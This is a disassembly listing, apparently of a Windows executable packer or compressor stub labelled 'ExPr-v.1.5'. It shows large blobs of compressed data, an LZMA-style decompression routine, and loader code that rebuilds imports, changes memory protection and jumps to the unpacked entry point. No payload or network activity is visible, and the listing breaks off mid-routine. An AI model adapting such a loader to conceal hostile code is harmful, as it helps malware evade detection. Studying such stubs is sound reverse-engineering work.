dd 2EC4E05h, 0CA049877h, 73C9CEC6h, 0DE024624h, 83C3331Ch
dd 0C63E5BE8h, 712D706Ah, 3AAB421Eh, 0E3D6257Fh, 0E009E315h
dd 1E5B4822h, 6566EAA1h, 0C65BDEF6h, 3538CBC1h, 0DC96F7h
dd 0F181F505h, 600CF882h, 0DFB21274h, 1CA64D8h, 53B3423Fh
dd 0B0A70A07h, 984BAE0Eh, 0C7D3C47Ah, 0BF3EF59Eh, 8D297502h
dd 0C55460Ah, 0D833072Dh, 9E7E1135h, 0ED021A15h, 0C5C75670h
dd 3414F135h, 0F8E8B93Eh, 2635BF3Bh, 756764DEh, 4AA8D484h
dd 50684F20h, 0E8737DD7h, 98C92D4Eh, 74BF9BAFh, 0F28E07A7h
dd 0CBC985D8h, 2AF00253h, 82F2A3E2h, 0C3723E6h, 0F1F83BE1h
dd 0A268DDBAh, 0DA1255BDh, 283C39CDh, 0CC23608Ah, 35A59D01h
dd 7F209933h, 0A81F1EF5h, 1A7B15DCh, 5057B6A5h, 0BBF13EC9h
dd 928D04D5h, 5AC5FA7h, 599CBF6Fh, 1034E183h, 12D6EB28h
dd 8091827Bh, 284CBC54h, 4AEBA00Ah, 41F90FFAh, 1FDE2C44h
dd 7618B72Dh, 0A8781C68h, 0AE0AC8B5h, 0C364ACD8h, 8BF308E6h
dd 53A34BD8h, 4EDDBBD0h, 850F0043h, 0B7B77735h, 0B6D3336Bh
dd 6DA39CC5h, 0AFC50AD6h, 4FE3A67Dh, 9DFF60DAh, 57A7A5F8h
dd 8D890E50h, 0D110A89h, 0CEE49AD9h, 38685E33h, 0A6386E96h
dd 581D2481h, 5E491F1Ah, 760A6279h, 0B3B9CAD0h, 174366F6h
dd 9057B434h, 0F7390E61h, 3ACC582Eh, 6BADBBDFh, 0A1B12554h
dd 7B23E5E3h, 86BB7989h, 756D3BEh, 0E71AB5A0h, 7AFC8DC8h
dd 30B2A793h, 470DD93Bh, 0E2727359h, 857CA9D3h, 3BFB8679h
dd 52A0F883h, 0BB887214h, 3750D5CDh, 16A5A718h, 0BA59BDEEh
dd 0DA46E5C8h, 4B78A108h, 0B82EA787h, 2DAA1135h, 0A5F5639Dh
dd 3A365E9Eh, 0EDD27CFh, 8823EED1h, 0C74D3A9Dh, 3C3B1A3Eh
dd 3833EEFCh, 478F0EC8h, 0D397DA3Fh, 0BED93D00h, 39D99BB8h
dd 908E4028h, 3ED37BA0h, 307D1A1h, 14D772D3h, 104BB7AFh
dd 0C5C7A16Dh, 0FDFC5CEBh, 628F4CC5h, 9B26B64Ch, 10F580Fh
dd 0CED5845Eh, 0A9744884h, 2EAB8D1Eh, 88DC0150h, 66EA3841h
dd 70CF1229h, 0F8D7FA02h, 173C7C82h, 727A454Dh, 0CCB8608Ah
dd 7864DC18h, 5E78DE34h, 0B1537234h, 8C9DF2A7h, 3652DCDCh
dd 0DC0D7E12h, 0E2ABC284h, 1F25667Bh, 2725C780h, 44D4A1h
dd 0E86C1FE8h, 664FAD3Eh, 4A6AEAB1h, 1811A346h, 722866C7h
dd 0B07B8737h, 72B20B3h, 260456CFh, 5140D0CFh, 5B2E4422h
dd 0F129A343h, 435CA82Dh, 0C077AF57h, 40F0A602h, 0CAEA8640h
dd 0F4E5915h, 0D2357371h, 99283DA1h, 0EF144A36h, 4DA11B2Ch
dd 0B7C95105h, 3F44479Dh, 9DA95BC0h, 0C9FFBECAh, 93791449h
dd 41A80703h, 0D05452FDh, 2987DE6h, 37518303h, 10042662h
dd 0E9B7E161h, 0D6BF1055h, 5D74EF11h, 5460E59Fh, 0DB118754h
dd 33E2DED5h, 0FF3FE5D5h, 9496D6D6h
_pdata ends
; Section 3. (virtual address 00101000)
; Virtual size : 00001BA4 ( 7076.)
; Section size in file : 00001BA4 ( 7076.)
; Offset to raw data for section: 00101000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_ex_cod segment para public 'CODE' use32
assume cs:_ex_cod
;org 501000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_501000 dd 1AB0h dd offset sub_501ECE
dd 0
dword_50100C dd 0FFFFFFFFh ; sub_501F30+1Br ...
dword_501010 dd 0 ; sub_501F30+87w
dword_501014 dd 0 ; sub_501F30:loc_501FB0r
dword_501018 dd 0 ; sub_501F30+9Fr
dword_50101C dd 0 ; sub_501F30+99r
dword_501020 dd 0 ; sub_501F30+93r
off_501024 dd offset dword_502AB0 ; DATA XREF: sub_501441r start+8Ew ...
dword_501028 dd 400000h dword_50102C dd 1 ; start:loc_5014CAw
dword_501030 dd 0 ; start+8A5r ...
dword_501034 dd 0 dword_501038 dd 0 off_50103C dd offset sub_41AB00 ; DATA XREF: start+873w start+8C0r ...
dword_501040 dd 0 align 8
dword_501048 dd 5F696DCh, 36632B29h, 38C48BADh, 13A7F29ChaWks: ; DATA XREF: sub_50275E+112o
unicode 0, <wks>,0
dd 10109Ch, 2 dup(0)
dd 1011B6h, 1010D4h, 1010C8h, 2 dup(0)
dd 1011DEh, 101100h, 5 dup(0)
dd 10110Ch, 10111Ah, 10112Ah, 101138h, 10114Ah, 10115Ch
dd 101170h, 101182h, 101198h, 1011A6h, 0
dd 1011C4h, 1011D0h, 0
dword_5010D4 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_5010D8 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_5010DC dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_5010E0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_5010E4 dd 7C801D4Fh ; resolved to->KERNEL32.LoadLibraryExAdword_5010E8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_5010EC dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtectdword_5010F0 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_5010F4 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_5010F8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA align 10h
dword_501100 dd 7E41A8ADh ; resolved to->USER32.wsprintfAdword_501104 dd 7E45058Ah ; resolved to->USER32.MessageBoxA dd 0
dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h
dd 416C6175h, 636F6C6Ch, 0AF0000h, 74697845h, 636F7250h
dd 737365h, 65470198h, 6F725074h, 64644163h, 73736572h
dd 2490000h, 64616F4Ch, 7262694Ch, 45797261h, 4178h, 65470177h
dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Bh, 61757472h
dd 6F72506Ch, 74636574h, 1750000h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
aQ_0 db 'ï',0
aFreelibrary db 'FreeLibrary',0
dw 248h
aLoadlibrarya_0 db 'LoadLibraryA',0
align 2
aKernel32_dll_1 db 'KERNEL32.dll',0
align 4
dd 737702D5h, 6E697270h, 416674h, 654D01DEh, 67617373h
dd 786F4265h, 53550041h, 32335245h, 6C6C642Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5011F0: ; DATA XREF: sub_50275E+106o
and ah, [edi+2Fh]
retf
; ---------------------------------------------------------------------------
cmp ch, [ebx+409C11D2h]
add al, al
dec edi
mov ds:67233E0Ah, eax ; DATA XREF: sub_50275E+10Bo
das
retf
; ---------------------------------------------------------------------------
dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh
dd 8000005Eh, 19270000h, 0C802E089h, 0BE839EF3h, 41B6B11Bh
; DATA XREF: sub_502A51+28o
dd 56237822h, 71BA0D54h, 68772094h, 0FC301F0Eh, 917A159Eh
dd 7F0F3FE0h, 0DD5304FDh, 88809B8h, 949180h, 90EDFBh, 0C26387D0h
dd 5DAEBB6Dh, 1EA6E26h, 98CBC360h, 7E1B00A6h, 0AD00C202h
dd 3C6ED329h, 7164EE3Bh, 648D24B5h, 0DDABF315h, 864D550h
dd 3C59DBABh, 93384D8Ch, 0E4A91608h, 0F430AF39h, 5E10B65Fh
dd 520B311Dh, 1E0A8B41h, 0CF7F9D1Eh, 0C20320CDh, 0E0B676D7h
dd 0CF42C5E6h, 0B1DCB20h, 282B4A22h, 6830219Bh, 0AE1D8589h
dd 423D3D40h, 7373B247h, 62A7C512h, 0AB4EEBB8h, 67207267h
dd 268BC87Ah, 911D60FAh, 6F1FC03Eh, 0AE9D4971h, 0C5FB263Ah
dd 0AD895839h, 0E65072Bh, 2BC19F2Ah, 5F038A70h, 8EB4B4B3h
dd 76673D66h, 0A1907467h, 0D1E243C2h, 5B2AE100h, 0A7F30706h
dd 39DB0F21h, 7B5337AEh, 5D640617h, 99C859FBh, 0E455FDABh
dd 0D6A78184h, 0C19AC2D3h, 8B7FAEFBh, 0F911A38Dh, 3924DAD6h
dd 0A2DBD38Dh, 395EFC01h, 6A0E3143h, 28E7B155h, 0FAACA3D8h
dd 0A4E00E18h, 0CDEB94B5h, 4E0824E2h, 5401A664h, 2D59257Fh
dd 4157BD1h, 5DE20A8Eh, 483BBDA5h, 0FFBC7CE5h, 125B38h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501368 proc near ; CODE XREF: start+1F4p start+306p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov cl, [eax]
cmp cl, 0E1h
jnb short loc_5013DA
xor ebx, ebx
cmp cl, 2Dh
mov [ebp+var_4], ebx
jb short loc_501398
movzx eax, cl
push 2Dh
xor edx, edx
pop esi
div esi
mov [ebp+var_4], eax
loc_501392: ; CODE XREF: sub_501368+2Ej
add cl, 0D3h
dec eax
jnz short loc_501392
loc_501398: ; CODE XREF: sub_501368+1Bj
cmp cl, 9
jb short loc_5013AF
movzx eax, cl
push 9
xor edx, edx
pop esi
div esi
mov ebx, eax
loc_5013A9: ; CODE XREF: sub_501368+45j
add cl, 0F7h
dec eax
jnz short loc_5013A9
loc_5013AF: ; CODE XREF: sub_501368+33j
movzx esi, cl
mov eax, 300h
push 4
lea ecx, [esi+ebx]
push 1000h
shl eax, cl
lea edi, [eax+eax+0E6Ch]
push edi
push 0
call ds:dword_5010D8 ; VirtualAlloc
test eax, eax
mov [ebp+var_C], eax
jnz short loc_5013DF
loc_5013DA: ; CODE XREF: sub_501368+11j
push 1
pop eax
jmp short loc_50143C
; ---------------------------------------------------------------------------
loc_5013DF: ; CODE XREF: sub_501368+70j
lea ecx, [ebp+var_8]
push ecx
mov ecx, [ebp+arg_4]
push 0FFFFFFFFh
add ecx, 0FFFFFFFBh
push [ebp+arg_8]
push ecx
mov ecx, [ebp+arg_0]
add ecx, 5
push ecx
push [ebp+var_4]
push ebx
push esi
push edi
push eax
call sub_5023E9
add esp, 28h
mov esi, [ebp+var_8]
xor ebx, ebx
mov edi, eax
push 8000h
push ebx
push [ebp+var_C]
call ds:dword_5010D4 ; VirtualFree
lea eax, [ebp+var_10]
mov [ebp+var_14], ebx
push eax
lea eax, [ebp+var_14]
push eax
push ebx
push esi
mov [ebp+var_10], 0FFFFFFFBh
push [ebp+arg_8]
call sub_501FDC
add esp, 14h
mov eax, edi
loc_50143C: ; CODE XREF: sub_501368+75j
pop edi
pop esi
pop ebx
leave
retn
sub_501368 endp
; =============== S U B R O U T I N E =======================================
sub_501441 proc near ; CODE XREF: start+93p
mov ecx, ds:off_501024
mov eax, offset start
sub eax, [ecx+50h]
retn
sub_501441 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near ; DATA XREF: sub_501441+6o
; sub_501ECE+18o ...
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_244 = dword ptr -244h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
var_238 = byte ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 258h
push ebx
push esi
push edi
and [ebp+var_234], 0
rep jmp short loc_501472
; ---------------------------------------------------------------------------
dw 5865h
dd 762D7250h, 352E312Eh
db 2Eh, 0
; ---------------------------------------------------------------------------
loc_501472: ; CODE XREF: start+13j
cmp [ebp+arg_4], 1
jnz short loc_50149B
mov eax, [ebp+arg_0]
mov ds:dword_501034, eax
push 4
push 1000h
push 320h
push 0
call ds:dword_5010D8 ; VirtualAlloc
mov ds:dword_501040, eax
jmp short loc_50149F
; ---------------------------------------------------------------------------
loc_50149B: ; CODE XREF: start+26j
and [ebp+arg_0], 0
loc_50149F: ; CODE XREF: start+49j
cmp [ebp+arg_4], 0
jnz short loc_5014BC
cmp ds:dword_501038, 0
jz short loc_5014BC
cmp ds:dword_501034, 0
jz short loc_5014BC
jmp loc_501DB6
; ---------------------------------------------------------------------------
loc_5014BC: ; CODE XREF: start+53j start+5Cj ...
cmp ds:dword_50102C, 0
jz short loc_5014CA
jmp loc_501CC9
; ---------------------------------------------------------------------------
loc_5014CA: ; CODE XREF: start+73j
mov ds:dword_50102C, 1
mov eax, ds:dword_501000
add eax, offset dword_501000
mov ds:off_501024, eax
call sub_501441
mov ds:dword_501028, eax
push 4
push 1000h
push 80h
push 0
call ds:dword_5010D8 ; VirtualAlloc
mov [ebp+var_224], eax
mov eax, ds:off_501024
cmp dword ptr [eax+4Ch], 0
jnz short loc_50152E
push 10h
push 0
call sub_502A51
pop ecx
push eax
push 1
call sub_502A51
pop ecx
push eax
push 0
call ds:dword_501104 ; MessageBoxA
loc_50152E: ; CODE XREF: start+C0j
push 104h
lea eax, [ebp+var_210]
push eax
push [ebp+arg_0]
call ds:dword_5010F0 ; GetModuleFileNameA
lea eax, [ebp+eax+var_211]
mov [ebp+var_228], eax
loc_501550: ; CODE XREF: start+11Bj
mov eax, [ebp+var_228]
movsx eax, byte ptr [eax]
cmp eax, 5Ch
jz short loc_50156D
mov eax, [ebp+var_228]
dec eax
mov [ebp+var_228], eax
jmp short loc_501550
; ---------------------------------------------------------------------------
loc_50156D: ; CODE XREF: start+10Cj
mov eax, [ebp+var_228]
inc eax
mov [ebp+var_228], eax
mov eax, [ebp+var_228]
lea ecx, [ebp+var_210]
sub eax, ecx
mov [ebp+var_250], eax
mov ecx, [ebp+var_250]
lea esi, [ebp+var_210]
lea edi, [ebp+var_104]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_250]
and [ebp+eax+var_103], 0
mov eax, ds:dword_501028
mov [ebp+var_24C], eax
mov eax, [ebp+var_24C]
mov ecx, ds:dword_501028
add ecx, [eax+3Ch]
mov [ebp+var_22C], ecx
mov eax, ds:off_501024
cmp dword ptr [eax+70h], 0
jz loc_5016A9
mov eax, ds:off_501024
mov ecx, ds:dword_501028
add ecx, [eax+88h]
mov [ebp+var_23C], ecx
mov eax, [ebp+var_23C]
mov [ebp+var_244], eax
mov eax, ds:off_501024
mov eax, [eax+3Ch]
mov [ebp+var_230], eax
mov eax, ds:off_501024
mov ecx, ds:dword_501028
add ecx, [eax+44h]
mov [ebp+var_218], ecx
push [ebp+var_23C]
mov eax, ds:off_501024
push dword ptr [eax+38h]
push [ebp+var_218]
call sub_501368
add esp, 0Ch
mov eax, ds:off_501024
push dword ptr [eax+74h]
push [ebp+var_244]
call sub_50275E
pop ecx
pop ecx
mov [ebp+var_234], eax
cmp [ebp+var_234], 0
jge short loc_5016A4
push [ebp+var_234]
push 2
call sub_502A51
pop ecx
push eax
push [ebp+var_224]
call ds:dword_501100 ; wsprintfA
add esp, 0Ch
push 30h
push [ebp+var_228]
push [ebp+var_224]
push 0
call ds:dword_501104 ; MessageBoxA
loc_5016A4: ; CODE XREF: start+21Ej
jmp loc_501DB4
; ---------------------------------------------------------------------------
loc_5016A9: ; CODE XREF: start+195j
mov eax, ds:off_501024
cmp dword ptr [eax+6Ch], 0
jz loc_501803
push 4
push 1000h
mov eax, ds:off_501024
push dword ptr [eax+38h]
push 0
call ds:dword_5010D8 ; VirtualAlloc
mov [ebp+var_244], eax
mov eax, [ebp+var_244]
mov [ebp+var_23C], eax
cmp [ebp+var_23C], 0
jnz short loc_501708
push 30h
push [ebp+var_228]
push 3
call sub_502A51
pop ecx
push eax
push 0
call ds:dword_501104 ; MessageBoxA
jmp loc_501DB2
; ---------------------------------------------------------------------------
loc_501708: ; CODE XREF: start+298j
mov eax, ds:off_501024
mov eax, [eax+3Ch]
mov [ebp+var_230], eax
mov eax, ds:off_501024
mov ecx, ds:dword_501028
add ecx, [eax+44h]
mov eax, ds:off_501024
mov esi, [ebp+var_22C]
mov eax, [eax+80h]
xor edx, edx
div dword ptr [esi+3Ch]
add ecx, edx
mov [ebp+var_218], ecx
push [ebp+var_23C]
mov eax, ds:off_501024
push dword ptr [eax+38h]
push [ebp+var_218]
call sub_501368
add esp, 0Ch
jmp short loc_50176D
; ---------------------------------------------------------------------------
loc_501760: ; CODE XREF: start+396j
mov eax, [ebp+var_234]
inc eax
mov [ebp+var_234], eax
loc_50176D: ; CODE XREF: start+30Ej
mov eax, ds:off_501024
movzx eax, word ptr [eax+78h]
cmp [ebp+var_234], eax
jge short loc_5017EB
mov eax, [ebp+var_234]
imul eax, 18h
mov ecx, ds:off_501024
mov ecx, [ecx+eax+84h]
mov esi, [ebp+var_23C]
mov eax, [ebp+var_234]
imul eax, 18h
mov edx, ds:off_501024
mov edi, ds:dword_501028
add edi, [edx+eax+88h]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_234]
imul eax, 18h
mov ecx, ds:off_501024
mov edx, [ebp+var_23C]
add edx, [ecx+eax+84h]
mov [ebp+var_23C], edx
jmp loc_501760
; ---------------------------------------------------------------------------
loc_5017EB: ; CODE XREF: start+32Cj
push 8000h
push 0
push [ebp+var_244]
call ds:dword_5010D4 ; VirtualFree
jmp loc_501928
; ---------------------------------------------------------------------------
loc_501803: ; CODE XREF: start+262j
mov eax, ds:off_501024
mov ecx, ds:dword_501028
add ecx, [eax+44h]
mov eax, ds:off_501024
sub ecx, [eax+40h]
mov eax, ds:off_501024
mov esi, [ebp+var_22C]
mov eax, [eax+80h]
xor edx, edx
div dword ptr [esi+3Ch]
add ecx, edx
mov [ebp+var_244], ecx
and [ebp+var_234], 0
jmp short loc_50184D
; ---------------------------------------------------------------------------
loc_501840: ; CODE XREF: start:loc_501923j
mov eax, [ebp+var_234]
inc eax
mov [ebp+var_234], eax
loc_50184D: ; CODE XREF: start+3EEj
mov eax, ds:off_501024
movzx eax, word ptr [eax+78h]
cmp [ebp+var_234], eax
jge loc_501928
mov eax, [ebp+var_234]
imul eax, 18h
mov ecx, ds:off_501024
cmp dword ptr [ecx+eax+7Ch], 0
jz loc_501923
mov eax, [ebp+var_234]
imul eax, 18h
mov ecx, ds:off_501024
cmp dword ptr [ecx+eax+84h], 0
jbe loc_501923
mov eax, [ebp+var_234]
imul eax, 18h
mov ecx, ds:off_501024
mov edx, ds:dword_501028
add edx, [ecx+eax+88h]
mov [ebp+var_23C], edx
mov eax, [ebp+var_234]
imul eax, 18h
mov ecx, ds:off_501024
mov eax, [ecx+eax+84h]
mov [ebp+var_230], eax
mov eax, [ebp+var_234]
imul eax, 18h
mov ecx, ds:off_501024
mov edx, [ebp+var_244]
add edx, [ecx+eax+80h]
mov [ebp+var_218], edx
push [ebp+var_23C]
mov eax, [ebp+var_234]
imul eax, 18h
mov ecx, ds:off_501024
push dword ptr [ecx+eax+84h]
push [ebp+var_218]
call sub_501368
add esp, 0Ch
loc_501923: ; CODE XREF: start+426j start+443j
jmp loc_501840
; ---------------------------------------------------------------------------
loc_501928: ; CODE XREF: start+3AEj start+40Cj
mov eax, ds:off_501024
mov ecx, ds:dword_501028
add ecx, [eax+5Ch]
mov [ebp+var_248], ecx
and [ebp+var_220], 0
loc_501943: ; CODE XREF: start+815j
mov eax, [ebp+var_248]
cmp dword ptr [eax+0Ch], 0
jz loc_501C6A
mov eax, ds:off_501024
cmp dword ptr [eax+5Ch], 0
jz loc_501C6A
and [ebp+var_254], 0
lea eax, [ebp+var_238]
push eax
push 40h
push 14h
push [ebp+var_248]
call ds:dword_5010EC ; VirtualProtect
mov eax, [ebp+var_248]
mov ecx, ds:dword_501028
add ecx, [eax+0Ch]
mov [ebp+var_10C], ecx
push [ebp+var_10C]
call ds:dword_5010E8 ; GetModuleHandleA
mov [ebp+var_240], eax
cmp [ebp+var_240], 0
jnz short loc_5019D9
push 8
push 0
push [ebp+var_10C]
call ds:dword_5010E4 ; LoadLibraryExA
mov [ebp+var_240], eax
cmp [ebp+var_240], 0
jz short loc_5019D9
mov [ebp+var_254], 1
loc_5019D9: ; CODE XREF: start+55Ej start+57Dj
cmp [ebp+var_240], 0
jnz short loc_501A3E
mov edi, [ebp+var_10C]
mov eax, [ebp+var_250]
lea eax, [ebp+eax+var_104]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 8
push 0
lea eax, [ebp+var_104]
push eax
call ds:dword_5010E4 ; LoadLibraryExA
mov [ebp+var_240], eax
cmp [ebp+var_240], 0
jz short loc_501A3E
mov [ebp+var_254], 1
loc_501A3E: ; CODE XREF: start+590j start+5E2j
cmp [ebp+var_240], 0
jnz short loc_501A80
push [ebp+var_10C]
push 4
call sub_502A51
pop ecx
push eax
push [ebp+var_224]
call ds:dword_501100 ; wsprintfA
add esp, 0Ch
push 30h
push [ebp+var_228]
push [ebp+var_224]
push 0
call ds:dword_501104 ; MessageBoxA
jmp loc_501DB0
; ---------------------------------------------------------------------------
loc_501A80: ; CODE XREF: start+5F5j
cmp [ebp+var_254], 0
jz short loc_501AB4
cmp ds:dword_501040, 0
jz short loc_501AB4
mov eax, [ebp+var_220]
mov ecx, ds:dword_501040
mov edx, [ebp+var_240]
mov [ecx+eax*4], edx
mov eax, [ebp+var_220]
inc eax
mov [ebp+var_220], eax
loc_501AB4: ; CODE XREF: start+637j start+640j
mov eax, [ebp+var_248]
mov ecx, ds:dword_501028
add ecx, [eax+10h]
mov [ebp+var_21C], ecx
mov eax, [ebp+var_248]
cmp dword ptr [eax], 0
jnz short loc_501AE2
mov eax, [ebp+var_21C]
mov [ebp-214h], eax
jmp short loc_501AF6
; ---------------------------------------------------------------------------
loc_501AE2: ; CODE XREF: start+682j
mov eax, [ebp+var_248]
mov ecx, ds:dword_501028
add ecx, [eax]
mov [ebp-214h], ecx
loc_501AF6: ; CODE XREF: start+690j start+801j
mov eax, [ebp-214h]
cmp dword ptr [eax], 0
jz loc_501C56
and [ebp+var_258], 0
mov eax, [ebp-214h]
mov eax, [eax]
and eax, 80000000h
test eax, eax
jz short loc_501B42
mov eax, [ebp-214h]
mov eax, [eax]
and eax, 0FFFFh
movzx eax, ax
push eax
push [ebp+var_240]
call ds:dword_5010E0 ; GetProcAddress
mov [ebp+var_258], eax
jmp short loc_501B71
; ---------------------------------------------------------------------------
loc_501B42: ; CODE XREF: start+6CBj
mov eax, [ebp-214h]
mov eax, [eax]
add eax, ds:dword_501028
mov [ebp+var_108], eax
mov eax, [ebp+var_108]
inc eax
inc eax
push eax
push [ebp+var_240]
call ds:dword_5010E0 ; GetProcAddress
mov [ebp+var_258], eax
loc_501B71: ; CODE XREF: start+6F0j
cmp [ebp+var_258], 0
jnz loc_501C0E
mov eax, [ebp-214h]
mov eax, [eax]
and eax, 80000000h
test eax, eax
jz short loc_501BC6
mov eax, [ebp-214h]
mov eax, [eax]
and eax, 0FFFFh
movzx eax, ax
push eax
push [ebp+var_10C]
push [ebp+var_228]
push 5
call sub_502A51
pop ecx
push eax
push [ebp+var_224]
call ds:dword_501100 ; wsprintfA
add esp, 14h
jmp short loc_501BF3
; ---------------------------------------------------------------------------
loc_501BC6: ; CODE XREF: start+73Dj
mov eax, [ebp+var_108]
inc eax
inc eax
push eax
push [ebp+var_10C]
push [ebp+var_228]
push 6
call sub_502A51
pop ecx
push eax
push [ebp+var_224]
call ds:dword_501100 ; wsprintfA
add esp, 14h
loc_501BF3: ; CODE XREF: start+774j
push 30h
push [ebp+var_228]
push [ebp+var_224]
push 0
call ds:dword_501104 ; MessageBoxA
jmp loc_501DAE
; ---------------------------------------------------------------------------
loc_501C0E: ; CODE XREF: start+728j
lea eax, [ebp+var_238]
push eax
push 40h
push 4
push [ebp+var_21C]
call ds:dword_5010EC ; VirtualProtect
mov eax, [ebp+var_21C]
mov ecx, [ebp+var_258]
mov [eax], ecx
mov eax, [ebp-214h]
add eax, 4
mov [ebp-214h], eax
mov eax, [ebp+var_21C]
add eax, 4
mov [ebp+var_21C], eax
jmp loc_501AF6
; ---------------------------------------------------------------------------
loc_501C56: ; CODE XREF: start+6AFj
mov eax, [ebp+var_248]
add eax, 14h
mov [ebp+var_248], eax
jmp loc_501943
; ---------------------------------------------------------------------------
loc_501C6A: ; CODE XREF: start+4FDj start+50Cj
call sub_501DEF
test eax, eax
jnz short loc_501CA5
push 7
call sub_502A51
pop ecx
push eax
push [ebp+var_224]
call ds:dword_501100 ; wsprintfA
pop ecx
pop ecx
push 10h
push [ebp+var_228]
push [ebp+var_224]
push 0
call ds:dword_501104 ; MessageBoxA
jmp loc_501DAC
; ---------------------------------------------------------------------------
loc_501CA5: ; CODE XREF: start+821j
mov eax, ds:off_501024
cmp dword ptr [eax+68h], 0
jz short loc_501CB5
call sub_501F30
loc_501CB5: ; CODE XREF: start+85Ej
mov eax, ds:off_501024
mov ecx, ds:dword_501028
add ecx, [eax+48h]
mov ds:off_50103C, ecx
loc_501CC9: ; CODE XREF: start+75j
cmp [ebp+var_224], 0
jz short loc_501CE5
push 8000h
push 0
push [ebp+var_224]
call ds:dword_5010D4 ; VirtualFree
loc_501CE5: ; CODE XREF: start+880j
cmp ds:dword_501030, 0
jz short loc_501D01
push 8000h
push 0
push ds:dword_501030
call ds:dword_5010D4 ; VirtualFree
loc_501D01: ; CODE XREF: start+89Cj
cmp [ebp+arg_4], 0
jnz short loc_501D22
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:off_50103C
call sub_501DB8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_501D22: ; CODE XREF: start+8B5j
mov eax, ds:off_50103C
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push eax
mov eax, ds:off_501024
cmp dword ptr [eax+48h], 0
jnz short loc_501D3E
pop eax
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_501D3E: ; CODE XREF: start+8E7j
pop eax
jmp eax
; ---------------------------------------------------------------------------
loc_501D41: ; CODE XREF: start:loc_501DACj
; start:loc_501DAEj ...
cmp [ebp+arg_4], 1
jnz short loc_501D5A
mov ds:dword_501038, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_501D5A: ; CODE XREF: start+8F5j
cmp [ebp+var_224], 0
jz short loc_501D76
push 8000h
push 0
push [ebp+var_224]
call ds:dword_5010D4 ; VirtualFree
loc_501D76: ; CODE XREF: start+911j
cmp ds:dword_501030, 0
jz short loc_501D92
push 8000h
push 0
push ds:dword_501030
call ds:dword_5010D4 ; VirtualFree
loc_501D92: ; CODE XREF: start+92Dj
cmp [ebp+arg_4], 0
jnz short loc_501DA4
call sub_501DB8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_501DA4: ; CODE XREF: start+946j
push 0
call ds:dword_5010DC ; ExitProcess
loc_501DAC: ; CODE XREF: start+850j
jmp short loc_501D41
; ---------------------------------------------------------------------------
loc_501DAE: ; CODE XREF: start+7B9j
jmp short loc_501D41
; ---------------------------------------------------------------------------
loc_501DB0: ; CODE XREF: start+62Bj
jmp short loc_501D41
; ---------------------------------------------------------------------------
loc_501DB2: ; CODE XREF: start+2B3j
jmp short loc_501D41
; ---------------------------------------------------------------------------
loc_501DB4: ; CODE XREF: start:loc_5016A4j
jmp short loc_501D41
; ---------------------------------------------------------------------------
loc_501DB6: ; CODE XREF: start+67j
jmp short loc_501D41
start endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_501DB8 proc near ; CODE XREF: start+8C6p start+948p
mov eax, ds:dword_501040
push edi
xor edi, edi
test eax, eax
jz short loc_501DED
mov eax, [eax]
push esi
xor esi, esi
loc_501DC9: ; CODE XREF: sub_501DB8+32j
push eax
call ds:dword_5010F4 ; FreeLibrary
mov eax, ds:dword_501040
and dword ptr [esi+eax], 0
mov eax, ds:dword_501040
inc edi
movzx esi, di
shl esi, 2
mov eax, [esi+eax]
test eax, eax
jnz short loc_501DC9
pop esi
loc_501DED: ; CODE XREF: sub_501DB8+Aj
pop edi
retn
sub_501DB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501DEF proc near ; CODE XREF: start:loc_501C6Ap
var_10 = dword ptr -10h
